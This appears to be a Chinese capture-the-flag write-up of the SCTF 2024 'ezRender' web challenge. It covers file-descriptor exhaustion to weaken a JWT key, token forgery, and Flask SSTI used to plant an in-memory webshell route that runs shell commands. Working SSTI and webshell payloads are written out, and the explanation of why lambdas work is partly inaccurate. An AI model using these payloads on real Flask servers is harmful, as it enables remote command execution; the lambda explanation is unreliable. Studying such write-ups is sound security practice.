SCTF 2024 web方向 ezRender wp
黑盒简单测试
简单说一下,是考的jwt伪造和falsk框架写内存马的题目
题目给了附件,一般喜欢先简单测测功能再去审计代码
经典的登录和注册
随便注册一个用户123,123
登录成功后来到
python写的,大概率ssti
无论输入什么内容都会回显
试试注册admin
但是还是一样的,这时候就可以审计一下代码了
百盒代码审计
这里就审计一下代码了
题目给了四个代码,从文件名大概能明白他们的功能
app.py
from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf
app = Flask(__name__,static_folder="static",template_folder="templates")
user={}
@app.route('/register', methods=["POST","GET"])
def register():
method=request.method
if method=="GET":
return render_template("register.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if data["username"] in user:
return "This name had been registered"
else:
user[name] = User(name, pwd)
return "OK"
@app.route('/login', methods=["POST","GET"])
def login():
method=request.method
if method=="GET":
return render_template("login.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if name not in user:
return "This account is not exist"
else:
if user[name].pwd == pwd:
token=generateToken(user[name])
return "OK",200,{"Set-Cookie":"Token="+token}
else:
return "Wrong password"
@app.route('/admin', methods=["POST","GET"])
def admin():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
method=request.method
if method=="GET":
return render_template("admin.html",name=name)
if method=="POST":
template = request.form.get("code")
if result != "True":
return result, 401
#just only blackList
if waf(template):
return "Hacker Found"
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
@app.route('/', methods=["GET"])
def index():
return redirect("login")
@app.route('/removeUser', methods=["POST"])
def remove():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
if result != "True":
return result, 401
rmuser=request.form.get("username")
user.pop(rmuser)
return "Successfully Removed:"+rmuser
if __name__ == '__main__':
# for the safe
del __builtins__.__dict__['eval']
app.run(debug=False, host='0.0.0.0', port=8080)
简单来说就是有注册登录删除用户的功能
然后漏洞很明显就是登录admin之后可以ssti注入
然后是验证代码
import json
import hashlib
import base64
import jwt
from app import *
from User import *
def check(user,crypt):
verify_c=crypt
secret_key = user.secret
try:
decrypt_infor = jwt.decode(verify_c, secret_key, algorithms=['HS256'])
if decrypt_infor["is_admin"]=="1":
return "True"
else:
return "You r not admin"
except:
return 'Don\'t be a Hacker!!!'
def generateToken(user):
secret_key=user.secret
secret={"name":user.name,"is_admin":"0"}
verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
infor={"name":user.name,"secret":verify_c}
token=base64.b64encode(json.dumps(infor).encode()).decode()
return token
一目了然,就是jwt伪造,获得了key之后伪造is_admin为1
而key的生成是在
Use.py
import time
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None
self.secret=self.setSecret()
def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret
可以看到key是有两部分组成,一部分是时间搓,这个我们还是很好获得的,但是第二个部分的话随机的密钥就很难获得了
key的获取
这里当时放了hint的,提示就非常明显了
ulimit -n =2048
cat /etc/timezone : UTC
拷打我的gpt小弟
ulimit -n = 2048
:
- 这是用于设置和查看当前用户的系统资源限制的命令,其中
-n
选项表示“文件描述符的最大数量”。ulimit -n = 2048
意味着当前用户最多可以打开 2048 个文件描述符(包括文件、套接字等)。 - 这一设置通常用于防止系统资源被耗尽,特别是当应用程序需要打开大量文件时。
cat /etc/timezone : UTC
:
-
cat /etc/timezone
用于查看系统的当前时区设置。输出为UTC
,表示系统的当前时区为协调世界时 (UTC, Universal Time Coordinated),而不是像 CST、EST 等具体地区的时区。 - UTC 是一种标准的时间格式,常用于服务器和全球分布式系统中,以避免时区差异带来的时间计算问题。
一个用户只能打开2048个文件描述符,嘿嘿嘿,如果一个用户存在,那么就相当于一个用户有一个描述符了,我们只需要注册的用户大于2048,那么就打不开/dev/random,剩下的只有时间搓了
抓包去修改
POST /register HTTP/1.1
Host: 1.95.40.5:34953
Content-Length: 37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://1.95.40.5:34953
Referer: http://1.95.40.5:34953/register
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Token=eyJuYW1lIjogIjEyMyIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaU1USXpJaXdpYVhOZllXUnRhVzRpT2lJd0luMC55OUVRb0ZjRTE5Q19HQUhLamlZQTFhbTc3R2RCNkFDbmJ3dUFDVVlyTnNnIn0=
Connection: keep-alive
{"username":"admin§1§","password":"123"}
然后去爆破
时间搓在响应里面有
HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.9.17
Date: Tue, 01 Oct 2024 09:28:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2
Connection: close
OK
gpt搞个脚本转换一下
import time
from datetime import datetime
time_string = "Tue, 01 Oct 2024 09:28:27 GMT"
timestamp = int(time.mktime(time.strptime(time_string, "%a, %d %b %Y %H:%M:%S %Z")))
print(timestamp)
//可能有延迟,扩大范围爆一下也可以
获取到key之后我们就可以去伪造jwt了
注意这时候伪造好了jwt后需要我们去删除一些用户了,因为现在不允许我们打开任何页面了,会卡死
bp抓包批量删除用户,就是和注册一样差不多的操作
python内存马注入
这里简单学习一下python内存马
简单搭建一个环境
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world(): # put application's code here
person = 'knave'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)
if __name__ == '__main__':
app.run()
执行后访问我们的shell路由,然后就可以执行命令
比如cmd=dir
常见的paylaod如下
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
1
url_for.__globals__['__builtins__']['eval']
这个就是去获取我们的恶意模块eval
比如我们现在就可以执行命令了
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').system('calc')")}}
但是我们研究python内存马,就需要找无文件落地的方法
在python中,我们就要注册一个恶意的路由,并且可以执行恶意方法
这就涉及到我们payload一个关键的点了app.add_url_rule函数
在Flask中注册路由的时候是添加的@app.route
装饰器来实现的。
我们看看代码,它内部调用
def decorator(f: T_route) -> T_route:
endpoint = options.pop("endpoint", None)
self.add_url_rule(rule, endpoint, f, **options)
return f
add_url_rule函数,说明创建路由的时候,会使用add_url_rule来进行一个创建
def add_url_rule(
self,
rule: str,
endpoint: str | None = None,
view_func: ft.RouteCallable | None = None,
provide_automatic_options: bool | None = None,
**options: t.Any,
)
可以看到它接受的参数
- rule:函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以
/
开头; -
endpoint
:这是URL规则的端点名。默认情况下,Flask会使用视图函数的名字作为端点名。在路由到视图函数的过程中,Flask会使用这个端点名。 -
view_func
:这是一个函数,当请求匹配到对应的URL规则时,Flask会调用这个函数,并将结果返回给客户端。
from flask import Flask
app = Flask(__name__)
def hello():
return "Hello, World!"
app.add_url_rule('/', 'hello', hello)
if __name__ == '__main__':
app.run()
在这个例子中,我们使用add_url_rule
函数将URL规则 '/'
与hello
函数绑定。当访问 '/'
时,Flask会调用hello
函数,并将返回的字符串 "Hello, World!"
发送给客户端。
所以给了我们机会,如果我们能够调用这个函数,而且参数都可以控制,我们访问一个路由就可以执行我们的恶意代码
在我们的paylaod之中
lambda
即匿名函数, Payload
中add_url_rule
函数的第三个参数定义了一个lambda
匿名函数, 其中通过os
库的popen
函数执行从Web
请求中获取的cmd
参数值并返回结果, 其中该参数值默认为whoami
.
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}
这一截Payload
. _request_ctx_stack
是Flask
的一个全局变量, 是一个LocalStack
实例, 这里的_request_ctx_stack
即下文中提到的Flask 请求上下文管理机制
中的_request_ctx_stack
. app
也是Flask
的一个全局变量, 这里即获取当前的app
.
后面指明了所需变量的全局命名空间, 保证app
和_request_ctx_stack
都可以被找到.
还有为什么我们的函数名必须为匿名函数呢?
如果我们随便取一个名字都不能注入成功
在Python中,lambda函数也被称为匿名函数。与def定义的正式函数不同,它不需要函数名。当我们在代码中使用lambda创建一个函数时,这个函数就被纳入了当前的命名空间。
在你的例子中,'lambda' 函数被作为参数动态地添加到before_request_funcs列表中。由于它是一个新创建的匿名函数,它不会与当前命名空间中的任何已存在的函数名冲突,所以可以成功注入。
而如果尝试替换lambda为已存在的函数名,注入会失败。这是因为在Python中,函数名也是一个标识符,每个标识符在其所在的命名空间中都有唯一的含义。重复的函数名将导致冲突,函数名已经被绑定到另一个函数对象上,所以不能成功注入。
其次,def创建的函数是在解析时立即执行的,这导致在此类注入攻击场景下使用已存在的函数名,会在解析阶段就执行,而非等待触发该请求处理函数时执行,这会导致执行时刻不符合预期,有可能因此无法成功注入。
故在这种情况下,选择使用lambda函数(匿名函数)可以避免这些问题,使注入攻击得以成功执行。一般来说,我们应确保对用户输入进行严格的过滤和处理,可以避免此类注入攻击。
其实还有更见简单的方法,我们只需要获取request就好了,paylaod后面可以简写为
popen(request.args.get('cmd')).read())
回到题目
然后就是去ssti注入了,ssti的话fengjin现在几乎都是可以梭哈的了
随便测试一下题目没有回显
把fengjing的payload改成打内存马